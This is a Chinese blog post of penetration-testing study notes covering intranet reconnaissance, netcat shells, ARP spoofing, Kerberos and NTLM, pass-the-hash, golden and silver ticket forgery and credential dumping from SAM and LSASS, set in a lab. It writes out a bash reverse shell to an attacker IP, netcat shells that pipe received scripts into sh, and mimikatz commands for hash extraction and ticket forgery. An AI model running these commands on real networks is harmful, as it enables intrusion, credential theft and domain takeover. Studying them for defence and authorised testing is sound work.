内网穿透

1.内网信息收集

ps:

已知内网网段有:

  • 10.0.0.0 到 10.255.255.255:10.0.0.0/8
  • 172.16.0.0 到 172.31.255.255:172.16.0.0/12
  • 192.168.0.0 到 192.168.255.255:192.168.0.0/16

当我们渗透进内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境做出判断。对当前机器角色分析,对机器所处网络环境拓扑结构分析,对机器所处区域分析。

当前机器角色分析:

判断当前主机是web服务器/开发测试服务器/公共服务器/文件服务器/代理服务器/dns服务器/还是存储服务器等。具体判断过程可根据主机名,文件,网络链接情况综合完成。

对机器所出网络环境分析:

是指对所处内网进行全面数据收集和分析整理,绘制出大致的内网整体结构拓扑。

对机器所处区域分析:

判断机器所处于网络拓扑哪个区域,是在dmz/办公区/还是核心区/区域并不是绝对的,所以区域界限也是相对的。

本地信息收集

操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。

ipconfig /all

systeminfo | findstr /B /C:”OS Name” /C:”OS Version” 查询操作系统和版本信息 英文系统

systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本” 查询操作系统和版本信息 中文系统

echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构

wmic prouct get name, version 查看安装的软件的版本、路径等

powershell “Get-WmiObject -class Win32_Product |Select-Object -Property name, version” PowerShell收集软件的版本信息

tasklist 查看当前进程列表和进程用户

netstat -ano 查询端口

systeminfo 查看系统详情

net share 查看本机共享列表和可访问的域共享列表

wmic share get name,path,status 查找共享列表

域环境

域控

域模式下,至少有一台服务器负责每一台连入网络的电脑和用户的验证工作。

whoami 查看当前权限

whoami /all 获取SID

net user xxx /domain 查询指定用户的详情信息

判断是否存在域:

ipcondig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等… 然后,通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上。

systeminfo 对比查看”域(域名)”和”登录服务器(域控制器)”的信息是否互相匹配。

net config workstation 对比查看”工作站域DNS名称(域名)”和”登录域()域控制器”的信息是否相匹配。

net time /domain 判断主域。

net view /domain 查询域

net view /domain:HACHE 查询域内的所有计算机

net group /domain 查询域内的所有计算机

net group “domain computers” /domain 查询所有域成员计算机列表

net accounts /domain 获取域密码信息

nltest /domain_trusts 获取域信任信息

域内端口扫描

powershell收集信息

msf调用powershell

powersploit工具

2.内网代理穿透

a.Nc使用

靶场的时候会用到nc -lvnp 1234

l开启监听,v显示详细输出,n不DNS反向查询ip域名,p指定端口

e 指定对应的应用程序

nc可以作为server端,启动一个tcp的监听。

一般是搭配反弹bash,

bash -i >& /dev/tcp/攻击机ip/4444 0>&1

在nc监听端口处得到一个shell,此时对该shell的操作,相当于对远程shell的操作。

场景1 正向shell

攻击机位于局域网,靶机位于公网

靶机监听端口

nc -lvp 8888 -e /bin/bash

攻击机发出连接

nc -v 靶机ip 8888

连接成功后,攻击机可输入whoami,显示靶机信息

攻击机生成pty shell的话

python3 -c 'import pty;pty.spawn("/bin/bash")'获得靶机终端。

场景2 反向shell

攻击机在公网,靶机在内网

攻击机将shell绑定到本地端口,供靶机来访问,攻击机进行监听。

攻击机监听端口

nc -lvp 8888

靶机连接

nc -v 攻击机ip -e /bin/bash

pty python

场景3 文件传输

攻击机局域网,靶机公网

攻击机传输1.sh 脚本文件到靶机

靶机监听端口,并将输出重定向到文件1.sh

nc --recv-only -lvp 8888 > 1.sh

攻击机连接靶机端口,输入重定向到文件1.sh

nc -v --send-only 靶机ip 8888 < 1.sh

当然了,靶机接收文件的时候,是可以通过管道将脚本内容直接传入shell,这样的话,不会在硬盘中留下文件。

nc --recv-only -lvp 8888 |sh

场景4 文件下载

靶机的1.sh下载到攻击机

靶机监听端口,输入重定向到文件1.sh

nc --send-only -lvp 8888 < 1.sh

攻击机连接靶机端口,输出重定向到文件1_download.sh

nc -v --recv-only 靶机ip 8888 > 1_download.sh

参考

【渗透常用命令之nc // netcat // ncat // kali //黑客-哔哩哔哩】

b.工具使用(暂略)

3.内网横向渗透

流量监听工具

wireshark、cain

监听一些未加密的服务协议内容(服务连接密码,网站登录密码,敏感数据)

arp欺骗

工具:netfuck、foca evail

主要功能:

域名欺骗

网页内容欺骗

Dns解析欺骗

解析欺骗+钓鱼攻击

ettercap工具的中间人攻击

服务密码攻击

字典爆破

ftp、3389、ssh

shell控制连接

4.域网络渗透

1.Kerbers协议

计算机网络认证协议 ,其设计目标是通过密钥系统为网络中通信的客户机(Client)/服务器(Server)应用程序提供严格的身份验证服务,确保通信双方身份的真实性和安全性。

侧重在于认证通信双方的身份。

DS (domain server),有资料为KDC(密钥分发中心),存储了每个域用户的口令散列值NTLM。

根据功能划分,DC包含两个模块,AS,TGS:

AS(AUTHENTICATION SERVER),认证用户服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)

TGS(Ticket Granting Service),票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(ticket)

TGT(ticket-granting ticket),用于获取ticket的票据

NTLM(NT LAN MANAGER)是一种网络认证协议,它是基于挑战(Challenge)/响应(Response)认证机制的一种认证模式。

NTLM使用在Windows NT和Windows 2000 Server(or later)工作组环境中(kerberos用在域模式下)。

在AD域环境中,如果需要认证Windows NT系统,也必须采用NTLM。

Kerbers协议流程

三步,

  1. client与AS交互 (认证客户端身份)

    发起认证请求 —->

    认证通过,返回TGT <——

  2. client与TGS交互 (请求服务授权)

    请求访问应用服务—–>

    TGT验证通过,返回TGS<——

  3. client与server交互 (发送请求服务)

    使用TGS请求访问服务—->

    TGS校验通过,允许访问<——

具体详情见:CSDN李火火的安全圈

流程理解:

目的是坐飞机,但是要有机票(TGT),去购票处(AS)先进行客户端认证一波,拿到TGT,登机时,检票口(TGS)要求出示机票(TGT),之后,显示座位号(Ticket),可以坐到座位上

这个理解来自CSDN思源湖的鱼

NTLM协议流程

当kerberos在某些情况无法对用户认证时,NTLM作为备份

采用一种质询/应答消息交换模式

一、用户输入windows账号和密码登录客户端主机。客户端会缓存输入的密码哈希,原始密码被丢弃。成功登录的客户端windows的用户尝试访问服务器资源,发送请求,包含一个明文用户名。

二、服务器接收该请求,生成16位的随机数,即Challenge,明文发送给对方,并自己保存。

三、客户端收到challenge,用第一步保存的密码哈希值对其加密,将加密后的challenge发送给服务器。

四、服务器收到加密的challenge,向DC发送针对客户端的验证请求。包含(客户端用户名、客户端密码哈希值加密的challenge和原始的challenge)

五、DC根据用户名获取该账号的密码哈希值,对原始的challenge加密。比对发送的加密后的challenge,一致则通过,否则失败,DC将验证结果发送给服务器,并反馈给客户端。

NTLM协议的认证过程分为三步:

1、协商:主要用于确认双方协议版本(NTLM v1/NTLM v2)

2、质询:就是挑战/响应认证机制起作用的范畴

3、验证:验证主要是在质询完成后,验证结果,是认证的最后一步

ps:

1、Challenge是Server产生的一个16字节的随机数,每次认证随机数都不同

2、Response的表现形式是Net-NTLM Hash,它是由客户端提供的密码Hash加密+Server返回Challenge产生的结果(hash+challenge)

NTLM Hash产生:假设我们的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash。

password ==> hex ==> Unicode ==> MD4 ==> NTLM Hash

参考:CSDN 嘎嘎不是鸭

2.域安全策略攻击测试

GPP 漏洞利用(这一块不太清晰)

在域中,存在一个默认的共享路径:\<DOMAIN>\SYSVOL\<DOMAIN>\

所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

访问了该域,就可以访问该域下的文件夹

SYSVOL介绍

存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制

给域内计算机修改管理密码测试

开始-管理工具-组策略管理(win10就是 gpedit.msc)

选择域,如test.local,右键->在这个域中创建GPO(Group Policy Object)——组策略对象并在此处链接

设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

PTH(pass the hash) 攻击测试

获取一台主机的本地管理员组成员账号的口令NTLM后,不需要破解密码,使用PTH方法将管理员账号及NTLM注入当前会话作为凭据

利用该凭据可以渗透获取周围的主机的管理权限,对方需要存在相同账号。

利用mimikatz.exe读取hash密文

mimikatz.exe privilege::debug lsadump::lsa /patch 得到hash密文

mimikatz.exe “privilege::debug” “lsadump::lsa /patch” exit >>log2.txt

拿到我们的攻击机上导入得到的hash来链接目标机

mimikatz.exe “privilege::debug” “sekurlsa::pth /domain:cracer /user:admin /ntlm:f5082729365bda3f34f598f99b33b242” exit

执行完上步命令后会得到一个cmd

输入命令:dir c:\ >> \192.168.30.191\users\admin\test.txt

psexec.exe \192.168.3.130 cmd.exe

黄金票据攻击

原理

黄金票据攻击发生在我们知道域中的tgt验证用户krbtgt的密码hash的情况下,可以利用krbtgt用户的密码hash直接伪造一个任意用户的TGT出来,实现伪造域内特权账号执行任意指令的操作。

局限

由于krbtgt账号不会被登录,且密码是定期修改的随机字符串,导致我们几乎不可能在拿到域控之前获得krbtgt账号的密码或hash。所以一般用作后期维持权限的操作

条件:

域名

域的SID 值

域的KRBTGT账户NTLM密码哈希

伪造用户名

实验环境:域控制器为win server2016,域计算机为win10

谨以演示为目的直接以域控管理员身份直接获得hash,实际情况是要免杀什么的。

1.在域控上以管理员身份运行cmd,获取票据伪造所需信息:

比如用户krbtst的hash和域的sid信息

mimikatz.exe “privilege::debug” “lsadump::lsa /patch” exit >1.txt

NTLM加密的就是密码hash

域的sid whoami /all

2.用普通域用户登录域计算机网络 比如,xy

3.用mimikatz工具伪造黄金票据

可以先执行命令查看当前是否有访问域服务的相关权限

dir \域控计算机名称.xy.com\c$

如:dir \WIN-LI5Q18SMFM2.xy.com\c$ (拒绝访问的)

用工具伪造,生成TGT票据,ptt选项会直接存到内存中

mimikatz.exe “kerberos::golden /user:xyz /domain:xy.com /sid:S-1-5-21-116212833-2811902251-1975316662 /krbtgt:789b3d4352b5a603c97cbfaf4b9a1046 /ptt” exit

cmd输入klist,可看到当前登录ID和缓存的票证

klist purge 清除票据

利用psexec 调用目标域控制器的cmd

psexec.exe \WIN-LI5Q18SMFM2.xy.com cmd.exe

dir \DC\c$应该可以用了。

防御

禁用KRBTGT帐户,并保存当前的密码以及以前的密码。

建议定期更改KRBTGT密码

白银票据攻击

需要用到的条件:

  1. dc的ip地址

  2. 域的sid

  3. 目标机器的FQDN

  4. 可利用的服务

  5. 域控机的hash(是目标机,不一定是域控)

  6. 需要伪造的用户名

原理

白银票据的利用限制增加了很多,需要拥有提供服务的账号的密码hash才能成功进行。这一步是在伪造向服务提供的票据,由于不需要和KDC交互,所以攻击的隐秘性更高。

黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票)

但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等

局限

需要提供服务的账号的hash,但由于真正有价值的服务往往是由域控主机运行的,所以这一个攻击在现实中依旧是常常被运用在权限维持上。

实验环境:

08 为dc ip: 192.168.8.100

win7 域内主机:伪造票据

获取信息:

1.ping 域名,就可以获取域控ip

2.whoami /all 获取域sid

如:S-1-5-21-2511895695-3322341454-56546430-1104,”-1104“是一个 RID(Relative Identifier)部分,可省略

3.目标及其的FQDN

FQDN(完全限定域名),主机名和域名的组合,并以根域名结尾。

host.domain.com。其中,host 是主机名,domain.com 是域名。

net time /domain
就是hostname+域名 /target:\\WIN-9JJK4CNGD41.xy.com

4.可利用的服务cifs(windows 文件共享)

5.获取域控的hash:

mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” exit >> 2.txt

6.要伪造的用户名

使用mimikatz伪造指定用户的票据并注入到内存

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt

mimikatz.exe “kerberos::golden /user:xyzz /domain:xy.com /sid:S-1-5-21-2511895695-3322341454-56546430 /target:WIN-9JJK4CNGD41.xy.com /service:cifs /rc4:哈希值 /ptt” exit

最后

psexec.exe \WIN-LI5Q18SMFM2.xy.com cmd.exe即可

总结

黄金票据:是直接抓取域控中kRbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务

白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务

Golden Ticket 和Silver Ticket都会在日志

不同的是,Golden Ticket会在域控中留下日志,Silver Ticket 仅在目标系统留下日志

因为Silver Ticket 不与KDC产生交互产生的日志中,应该关注事件ID 4624(账户登录)、4634(账户注销)、4672(管理员登录),并且域字段应该为Domain 时为空

黄金票据与白银票据参考

csdn彤彤学安全

CSDN思源湖的鱼

热土豆提权

Responder -WPAD 提权

5.跨域环境渗透

知识补充

SAM(安全账户管理器)

SAM数据库以NTLM哈希格式存储本地Windows凭证。本地登录期间,用户输入密码后,本地安全机构(LSA)通过根据存储在SAM中的数据验证凭证来验证登录尝试。

从SAM中导出哈希,有多种方法

工具导出

mimikatz

这个工具可以导出SAM中的凭证,命令为:mimikatz lsadump::sam,本地账号

C2内置命令

cs(cobalt strike)中的,hashdump命令

impacket 远程导出

离线导出

注册表复制

从注册表HKLM\SAM和HKTM\SYSTEM的位置拷贝SAM数据库和SYSTEM

SAM包含了本地账户凭证,SYSTEM包含了解密所用信息(SAM和LSA机密)

LSA

LSA:负责管理系统的交互式登录,给用户分发安全访问令牌、实施本地安全策略等

LSA机密: 就是LSA存储的一些敏感信息(用户密码、IE密码、服务账号密码、sqL密码、系统账户密码等)

提取方式类似提取SAM中的凭证(证书/密码/PIN等)

LSASS

即本地安全机构子系统服务,是windows上的一个进程,lsass.exe,攻击者的目标之一。

它代表LSA去执行安全策略和处理用户身份验证请求。

它以高权限运行,所以成为攻击者的常见目标

与LSA关系

它和LSA都是和windows中处理安全和用户身份认证的密切相关组件

AP/SSP

即认证包/安全支持提供程序,它通过分析登录数据来认证windows用户,以DLL形式存在。

常见的AP/SSP,有:NTLM,kerberos,Wdigest等

从lsass.exe中导出凭证

由于lsass用于处理用户身份认证,所以在内存中保留了凭证。攻击者获得提升特权后,可以从中提取明文或哈希的凭证。mimikatz中的 sekurlsa::logonpasswords就是从lsass中获取凭证的命令

除了用mimikatz,也有系统内置方法,比如ProdDump64.exe 命令导出

,导出后再用pypykatz进行解析

PPL

这是一种对 攻击者导出凭证的防御措施,即使是SYSTEM权限也无法访问被PPL保护的进程,所以对于启用了PPL保护的主机,那些工具都失效了

当然,有对策,就有反对策,做攻击的人,往往熟悉的一个名词就是 “绕过”

绕过

PPL是驱动级别的,可以用 加载签名的驱动来反制。门槛高的话,可以自己去编写一个驱动为其签名;一般的方法是,去找系统中存在任意代码执行的脆弱驱动,比如 RTCore64.sys,它存在一个CVE-2019-16098的漏洞,由于允许用户读写任意内存、IO端口等,导致高特权下的代码执行,进而用于绕过微软的驱动签名策略

还有一些github上的PPL利用工具

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信